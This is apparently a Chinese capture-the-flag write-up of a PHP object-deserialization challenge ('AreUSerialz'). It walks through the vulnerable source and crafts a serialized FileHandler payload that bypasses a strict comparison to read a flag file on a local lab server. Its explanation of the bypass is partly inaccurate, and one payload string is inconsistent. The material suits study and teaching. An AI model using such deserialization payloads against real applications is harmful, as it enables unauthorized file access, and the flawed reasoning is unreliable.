题解:2020-网鼎杯-青年组-Web-AreUSerialz

一、涉及知识点

序列化 serialize():将⼀个变量的数据转换为字符串。

反序列化 unserialize():将序列化后的字符串还原。

魔术方法 __destruct(析构函数):是 PHP 内置的魔术方法,核心作用是释放资源。

魔术方法 __wakeup:是 PHP 内置的魔术方法,当使用unserialize() 函数反序列化一个对象时,PHP 会自动调用该对象所属类的__wakeup方法。核心作用是:初始化反序列化对象资源,即恢复反序列化对象的状态

二、真题解析步骤

最终目的:获得flag

1、获取源码

第一步:访问目标网站

第二步:前台界面(防御级别高,F12调试一下,不是重点)

第三步:7kscan扫描出 后台页面/子域名页面(更容易破解,重点关注)

第四步:访问后台页面/子域名页面,会下载 一个ctf.zip

第五步:解压到本地靶场查看源码 NewFlag.php 和 ctf2.php

2、分析源码

2.1 NewFlag.php 源码

<?php class NewFlag { public static function getFlag($fileName) { $res = "flag error"; if($fileName ==="NewFlag.php") { $res = "flag:{this is flag}";//好像是flag } return $res; } } ?>

2.2 ctf2.php 源码

<?php include("NewFlag.php"); highlight_file(__FILE__); class FileHandler { //这是一个类 protected $op; //protected是访问控制修饰 protected $filename; protected $content; // 没有看到 new __construct(),__construct()就不会被调用,不需要看 function __construct() { $op = "1"; $filename = "tmpfile"; $content = "Hello World!"; $this->process(); } //⑥重点2 【1就写;2就读(目的:让代码读取我的需求)】 public function process() { if($this->op == "1") {//如果是1,就调用write() 写 $this->write(); } //如果是2,就调用read() 读【⑧要想调用read(),要让op==2】 //在真正if的时候,会忽略空格, " 2"就等同于"2",这样"2"=="2"就成立,为真,就调用了read() else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } //⑦读 有flag【想办法调用read(),就能拿到flag】 private function read() { $res = ""; if(isset($this->filename)) { $res = NewFlag::getFlag($this->filename);//flag,这是我们的目标成果 } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } //④重点1 function __destruct() { //⑨当op==2的时候,它直接给op赋值为1;op==1,就没办法调用read(),也就拿不到flag了,怎么办呢??? //在2前面+空格,这样“ 2” === "2" 就为假,op就不会被赋值为1 if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process();//⑤调用process(),我们就去看看process()里面写的什么 } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } #main ①这里是入口,只是没有写main if(isset($_GET{'str'})) { //给get传一个str参数 $str = (string)$_GET['str']; if(is_valid($str)) { //②调用此 反序列化【前提是:必须先序列化】函数时,会调用__wakeup魔术方法 $obj = unserialize($str); } } //③猜测:代码执行完成后,一定会调用__destruct函数(销毁) ?>

2.3 ctf2.php 源码分析思路

第一步:找到main入口
//整个代码的入口 if(isset($_GET{'str'})) { //以get请求给接收str的上传的内容 $str = (string)$_GET['str']; if(is_valid($str)) { //调用此 反序列化【前提是:必须先序列化】函数时,会调用__wakeup魔术方法 $obj = unserialize($str); }
分析内容:
    $obj = unserialize($str); 调用反序列unserialize()函数会调用__wakeup魔术方法【反序列化的前提是 要先序列化】
    查找代码中是否调用了__wakeup魔术方法 ==》 发现没有
    猜测:代码执行完成后,一定会调用__destruct函数(销毁)
    查找代码中是否调用了__destruct ==》 发现有
第二步:查看__destruct函数
//④重点1 function __destruct() { //⑨当op==2的时候,它直接给op赋值为1;op==1,就没办法调用read(),也就拿不到flag了,怎么办呢??? //在2前面+空格,这样“ 2” === "2" 就为假,op就不会被赋值为1 if($this->op === "2") $this->op = "1"; $this->content = ""; //⑤调用process(),我们就去看看process()里面写的什么 $this->process(); }
分析内容:当op==2的时候,会被重新赋值为1 ==》 $this->process();
第三步:查看 process()函数
//⑥重点2 【1就写;2就读(目的:让代码读取我的需求)】 public function process() { if($this->op == "1") {//如果是1,就调用write() 写 $this->write(); } //如果是2,就调用read() 读【⑧要想调用read(),要让op==2】 //在真正if的时候,会忽略空格, " 2"就等同于"2",这样"2"=="2"就成立,为真,就调用了read() else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
分析内容:
    当op==1的时候,会调用write()函数【写】
    当op==2的时候,会调用read()函数【读】
第四步:查看 write()函数 和 read()函数
//write()写函数 private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } //⑦read()读函数 有flag【想办法调用read(),就能拿到flag】 private function read() { $res = ""; if(isset($this->filename)) { $res = NewFlag::getFlag($this->filename);//flag,这是我们的目标成果 } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; }
分析内容:
    发现read()函数中存在flag,那就要想办法调用read()函数
    调用read()函数需要什么条件,前面提到:op==2时,调用read()函数,那就要想办法让 op==2
    怎样才能让 op==2呢??
    前面提到:【__destruct 函数中:当op==2的时候,会被重新赋值为1】,这样看 op就不能是2了
    但是 只有 op==2时,才会调用read()函数。这就很矛盾了,怎么办呢???


方法:我们给 op 赋值为 “ 2”【在2前面加空格】就满足条件了。
原理:在process() 函数中,if判断条件时,会自动忽略空格。
第五步:得出结论
1、反序列化的前提是 要先序列化,所以我们要给str一个序列化后的值

2、op==" 2"

3、获取flag 具体实现步骤

第一步:访问 ctf2.php

>根据结论得出:http://127.0.0.1/14xlh/ctf2.php?str=序列化的码

第二步:获取序列化的码

序列化在线工具: https://c.runoob.com/compile/1/

(1)需要序列化的内容
//由于代码太长,我们只保留重点部分 <?php class FileHandler { protected $op=' 2';//op==" 2" protected $filename='NewFlag.php'; protected $content='cs'; } $result=new FileHandler(); echo (serialize($result));//序列化 ?>
(2)得到的内容中有乱码

(3)修改 protected 为 public

【因为protected是受保护的,所以是乱码,我们改成public公开的,就解决乱码问题了】

//由于代码太长,我们只保留重点部分 <?php class FileHandler { public $op=' 2';//op==" 2" public $filename='NewFlag.php'; public $content='cs'; } $result=new FileHandler(); echo (serialize($result));//序列化 ?>
(4)得到序列化的码
O:11:"FileHandler":3:{s:2:"op";s:2:"2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

第三步:组装访问

http://127.0.0.1/14xlh/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

结果是错误的,什么原因呢?是phpstudy的版本太低了,我们切换为高版本。

第四步:再次访问

http://127.0.0.1/14xlh/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

第五步:成功拿到flag

flag:{33858534-shegruie353-shgdg23shreigeli1234}

Read more

【OpenClaw从入门到精通】第10篇:OpenClaw生产环境部署全攻略:性能优化+安全加固+监控运维(2026实测版)

【OpenClaw从入门到精通】第10篇:OpenClaw生产环境部署全攻略:性能优化+安全加固+监控运维(2026实测版)

摘要:本文聚焦OpenClaw从测试环境走向生产环境的核心痛点,围绕“性能优化、安全加固、监控运维”三大维度展开实操讲解。先明确生产环境硬件/系统选型标准,再通过硬件层资源管控、模型调度策略、缓存优化等手段提升响应速度(实测响应效率提升50%+);接着从网络、权限、数据三层构建安全防护体系,集成火山引擎安全方案拦截高危操作;最后落地TenacitOS可视化监控与Prometheus告警体系,配套完整故障排查清单和虚拟实战案例。全文所有配置、代码均经实测验证,兼顾新手入门实操性和进阶读者的生产级部署需求,帮助开发者真正实现OpenClaw从“能用”到“放心用”的跨越。 优质专栏欢迎订阅! 【DeepSeek深度应用】【Python高阶开发:AI自动化与数据工程实战】【YOLOv11工业级实战】 【机器视觉:C# + HALCON】【大模型微调实战:平民级微调技术全解】 【人工智能之深度学习】【AI 赋能:Python 人工智能应用实战】【数字孪生与仿真技术实战指南】 【AI工程化落地与YOLOv8/v9实战】【C#工业上位机高级应用:高并发通信+性能优化】 【Java生产级避坑指南:

By Ne0inhk
ARM Linux 驱动开发篇--- Linux 并发与竞争实验(互斥体实现 LED 设备互斥访问)--- Ubuntu20.04互斥体实验

ARM Linux 驱动开发篇--- Linux 并发与竞争实验(互斥体实现 LED 设备互斥访问)--- Ubuntu20.04互斥体实验

🎬 渡水无言:个人主页渡水无言 ❄专栏传送门: 《linux专栏》《嵌入式linux驱动开发》《linux系统移植专栏》 ❄专栏传送门: 《freertos专栏》《STM32 HAL库专栏》 ⭐️流水不争先,争的是滔滔不绝  📚博主简介:第二十届中国研究生电子设计竞赛全国二等奖 |国家奖学金 | 省级三好学生 | 省级优秀毕业生获得者 | ZEEKLOG新星杯TOP18 | 半导纵横专栏博主 | 211在读研究生 在这里主要分享自己学习的linux嵌入式领域知识;有分享错误或者不足的地方欢迎大佬指导,也欢迎各位大佬互相三连 目录 前言  一、实验基础说明 1.1、互斥体简介 1.2 本次实验设计思路 二、硬件原理分析(看过之前博客的可以忽略) 三、实验程序编写 3.1 互斥体 LED 驱动代码(mutex.c) 3.2.1、设备结构体定义(28-39

By Ne0inhk
Flutter for OpenHarmony:swagger_dart_code_generator 接口代码自动化生成的救星(OpenAPI/Swagger) 深度解析与鸿蒙适配指南

Flutter for OpenHarmony:swagger_dart_code_generator 接口代码自动化生成的救星(OpenAPI/Swagger) 深度解析与鸿蒙适配指南

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net 前言 后端工程师扔给你一个 Swagger (OpenAPI) 文档地址,你会怎么做? 1. 对着文档,手写 Dart Model 类(容易写错字段类型)。 2. 手写 Retrofit/Dio 的 API 接口定义(容易拼错 URL)。 3. 当后端修改了字段名,你对着报错修半天。 这是重复劳动的地狱。 swagger_dart_code_generator 可以将 Swagger (JSON/YAML) 文件直接转换为高质量的 Dart 代码,包括: * Model 类:支持 json_serializable,带 fromJson/

By Ne0inhk
Linux 开发别再卡壳!makefile/git/gdb 全流程实操 + 作业解析,新手看完直接用----《Hello Linux!》(5)

Linux 开发别再卡壳!makefile/git/gdb 全流程实操 + 作业解析,新手看完直接用----《Hello Linux!》(5)

文章目录 * 前言 * make/makefile * 文件的三个时间 * Linux第一个小程序-进度条 * 回车和换行 * 缓冲区 * 程序的代码展示 * git指令 * 关于gitee * Linux调试器-gdb使用 * 作业部分 前言 做 Linux 开发时,你是不是也遇到过这些 “卡脖子” 时刻?写 makefile 时,明明语法没错却报错,最后发现是依赖方法行没加 Tab;想提交代码到 gitee,记不清 git add/commit/push 的 “三板斧”,还得反复搜教程;用 gdb 调试程序,输了命令没反应,才想起编译时没加-g生成 debug 版本;甚至连写个进度条,都搞不懂\r和\n的区别,导致进度条乱跳…… 其实这些问题,

By Ne0inhk